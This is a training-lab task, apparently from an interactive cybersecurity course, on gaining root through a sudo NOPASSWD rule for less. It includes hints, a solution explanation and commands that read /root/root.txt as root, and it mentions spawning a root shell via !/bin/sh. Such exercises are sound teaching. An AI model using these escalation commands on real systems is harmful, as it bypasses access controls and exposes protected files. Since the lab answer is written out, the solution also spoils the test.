Root through a sudo rule
Check what you are allowed to run with sudo, then abuse it.
You have a NOPASSWD rule for /usr/bin/less. Because less then runs as root, you can make it open the root-only flag at /root/root.txt. Recover the flag.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Hints
`sudo -l` lists what you may run as root — note the NOPASSWD entry.
`sudo less /root/root.txt` opens the root file as root; `| cat` prints it without the pager.
Solution explanation
sudo -l revealed a single NOPASSWD rule for /usr/bin/less. That was enough: run under sudo, less executes as root and happily opened /root/root.txt, a file student may not read. A pager looked like a safe thing to hand out — but almost any program, given root, can be bent into reading secrets or spawning a root shell (here, !/bin/sh from inside less). Over-broad sudo rules are one of the most common real-world escalation paths.
Show solution
cd /home/student
sudo -l
sudo less /root/root.txt
echo '(press q to quit the pager)'
sudo less /root/root.txt | cat > /home/student/flag.txt